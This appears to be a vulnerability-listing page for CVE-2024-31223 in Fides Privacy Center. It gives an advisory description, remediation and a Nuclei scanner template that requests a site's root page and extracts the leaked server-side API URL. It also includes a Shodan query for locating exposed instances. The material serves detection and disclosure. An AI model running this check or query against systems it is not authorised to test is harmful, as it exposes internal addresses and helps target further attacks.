CVE-2024-31223: Fides Privacy Center ≤ 2.39.1 - Server-Side URL Disclosure

2025-12-12 Fides Privacy Center PoC Public

Description

Fides versions 2.19.0 to before 2.39.2rc0 contain an information disclosure caused by unauthenticated HTTP GET request to the Privacy Center, letting attackers access the SERVER_SIDE_FIDES_API_URL, which may reveal server configuration details, exploit requires no authentication.

PoC

id: CVE-2024-31223

info:
  name: Fides Privacy Center ≤ 2.39.1 - Server-Side URL Disclosure
  author: hnd3884
  severity: medium
  description: |
    Fides versions 2.19.0 to before 2.39.2rc0 contain an information disclosure caused by unauthenticated HTTP GET request to the Privacy Center, letting attackers access the SERVER_SIDE_FIDES_API_URL, which may reveal server configuration details, exploit requires no authentication.
  impact: |
    Attackers can obtain server-side URLs, revealing private IPs, ports, and domain names, potentially aiding further targeted attacks.
  remediation: |
    Update to version 2.39.2rc0 or later.
  reference:
    - https://github.com/ethyca/fides/commit/0555080541f18a5aacff452c590ac9a1b56d7097
    - https://github.com/ethyca/fides/security/advisories/GHSA-53q7-4874-24qg
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-31223
    cwe-id: CWE-497
    epss-score: 0.01105
    epss-percentile: 0.64117
    cpe: cpe:2.3:a:ethyca:fides:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SERVER_SIDE_FIDES_API_URL"
  tags: cve,cve2024,vuln,ethyca,fides,disclosure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SERVER_SIDE_FIDES_API_URL"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: server_side_fides_api_url
        group: 1
        regex:
          - '"SERVER_SIDE_FIDES_API_URL":"(.+?)"'
# digest: 490a00463044022073adb3c282dada4c1cde08d85bde5aa8939c4854eaf9eaa6d0a1ae510b58fc1c0220688f7d3f34399810ee8a26ed899f04abea132beb160ad6468a157d5550826886:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-31223.yaml

References

Related Vulnerabilities